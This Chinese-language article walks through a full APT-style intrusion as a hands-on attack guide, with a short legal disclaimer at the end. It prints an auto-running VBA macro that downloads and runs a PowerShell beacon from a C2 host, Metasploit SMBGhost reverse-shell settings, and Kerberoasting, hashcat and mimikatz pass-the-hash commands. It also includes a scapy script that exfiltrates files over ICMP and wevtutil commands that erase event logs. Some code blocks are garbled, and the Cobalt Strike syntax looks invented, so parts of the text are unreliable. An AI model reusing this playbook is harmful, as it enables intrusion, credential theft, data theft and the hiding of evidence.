一、初探APT背后的藏匿路线

APT（高级持续性威胁）攻击往往以高度定制化的方式渗透防护体系，目标明确且隐秘性极高。它们通常通过鱼叉式钓鱼邮件、水坑攻击、供应链劫持等方式进入目标网络，并借助复杂的后门、免杀技术和横向移动手段持续扩展影响力。

黑客示意图

本文将以某真实APT攻击案例为蓝本，复现其关键攻击行为。从初始信息收集到内网权限提升，再到最终数据出境的完整链条，同时结合工具使用技巧与实战代码进行深度拆解。

目标环境：

一台部署有 Windows Server 的企业内网服务器，提供 RDP 服务并安装了常见企业软件，如 Office。
内网 AD 域环境，其中包含若干普通用户和管理员账户。
内网中部分设备运行老旧的 SMB 协议，存在 CVE-2020-0796（SMBGhost）漏洞。

假想目标：窃取企业文件服务器中的敏感数据，攻击后全程清除痕迹。

---

二、桥头堡搭建：钓鱼邮件的隐秘利器

APT 攻击的第一步通常是通过社工手段取得初始突破口。本案例中，我们假设攻击者通过发送鱼叉式钓鱼邮件成功诱骗目标用户打开了恶意文档。

恶意文档生成

攻击者使用了 Cobalt Strike 的内置生成器创建一个带有恶意宏的 Word 文档。以下是具体步骤：

Cobalt Strike Payload 生成

配置监听器（Listener）并生成恶意的宏载荷： <pre><code class="language-bash"> # 配置 Cobalt Strike 的 beacon 监听器 set HOST https://malicious-c2.com set STAGER windows/macro generate ` 将生成的宏代码嵌入到 Word 文档的宏中。

隐藏宏代码

使用 VbaEncoder 工具对宏代码进行混淆处理，提升免杀能力： `powershell

使用 VbaEncoder 混淆宏代码

VbaEncoder.exe -input malicious_macro.vba -output obfuscated_macro.vba `

诱饵文档包装

使用诱饵内容（如年度财报、工作安排）吸引目标用户打开文件，同时确保恶意宏在 Word 打开时自动运行。

以下是一个简单的恶意宏代码模板（仅供学习研究）：</code></pre>vba Sub AutoOpen() Dim obj As Object Set obj = CreateObject("WScript.Shell") obj.Run "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://malicious-c2.com/beacon.ps1')" End Sub <pre><code> 黑客示意图

发送钓鱼邮件

使用公共邮件账户伪造发件人地址，邮件内容与目标行业高度相关，嵌入诱饵文档。

---

三、内网渗透：用 SMB 漏洞撬开大门

一旦目标用户运行恶意文档，Cobalt Strike 的 Beacon 就会成功上线（即目标机器被攻陷）。从这里开始，攻击者将通过各种手段在内网中横向移动。

漏洞扫描与利用

通过扫描发现目标内网中存在一个老旧的 SMB 协议服务，可能存在 CVE-2020-0796 漏洞。使用 Metasploit 实现漏洞利用：

漏洞扫描

使用 Nmap 确认目标端口是否开放： `bash nmap -p 445 -script smb-vuln-* 192.168.1.0/24 `

检查输出，发现某台机器（192.168.1.100）存在 SMBGhost 漏洞。

漏洞利用

在 Metasploit 中加载相关模块： `bash use exploit/windows/smb/smbghost_rce set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.200 run `

成功后，获得目标机器的 Meterpreter 会话。

提权

使用 Sherlock 工具检查是否存在本地提权漏洞： `powershell Import-Module .\Sherlock.ps1 Find-AllVulns ` 一旦发现提权漏洞，可以加载相关模块进行提权。

---

四、横向移动：AD 域渗透技术

获得内网一个普通用户的控制权后，下一步是获取域管理员权限。本案例中，我们将利用 Kerberoasting 技术实现这一目标。

Kerberoasting 攻击

提取服务票据

使用 impacket 工具包中的 GetUserSPNs.py 获取可用的服务票据： `bash python GetUserSPNs.py targetdomain/username:[email protected] `

解密票据

将提取的票据保存到本地，使用 hashcat 破解： `bash hashcat -m 13100 ticket_hashes.txt /path/to/wordlist `

使用管理员凭据

一旦成功破解服务账户密码，可以使用 mimikatz 工具注入凭据并尝试 RDP 登录域控： `cmd privilege::debug sekurlsa::pth /user:Administrator /domain:target.local /ntlm:HASH `

---

五、数据窃取：文件服务器的真正目标

获取域管理员权限后，可以轻松访问企业文件服务器中的敏感数据。为规避流量检测，攻击者通常会加密数据并伪装成合法流量进行传输。

数据加密与 exfiltration

压缩与加密

`bash tar -czvf confidential.tar.gz /path/to/data openssl enc -aes-256-cbc -salt -in confidential.tar.gz -out confidential.enc -k SuperSecretKey `

数据窃取

使用 ICMP 通道隐藏传输： `python from scapy.all import *

def send_data(data, target): for i in range(0, len(data), 100): payload = data[i:i+100] pkt = IP(dst=target)/ICMP()/payload send(pkt)

with open("confidential.enc", "rb") as f: send_data(f.read(), "192.168.1.1") `

---

黑客示意图

六、痕迹清除与经验分享

APT 攻击的最后一步是清除攻击痕迹，确保不被发现。

清除日志

使用 PowerShell 清除 Windows 事件日志：</code></pre>powershell wevtutil cl System wevtutil cl Security wevtutil cl Application `

删除工具与后门

清理所有上传的工具和创建的后门，包括恶意文档、漏洞利用代码等。

---

经验总结：

隐蔽性：APT 攻击的关键是尽量避免被发现，无论是 C2 通信还是工具操作，都需保持低调。
工具链优化：熟练掌握 Cobalt Strike、Metasploit 和自定义工具的组合使用。
流量伪装：通过非传统协议（如 ICMP、DNS）传输数据可极大降低被检测的风险。
防守视角：从攻击者的行为逻辑出发，制定针对性的检测和防御体系。

免责声明：本文仅供合法授权的安全测试与研究使用，切勿将本文技术用于非法用途。

APT攻击案例详解：从入侵到数据出境的完整复盘

快速摘要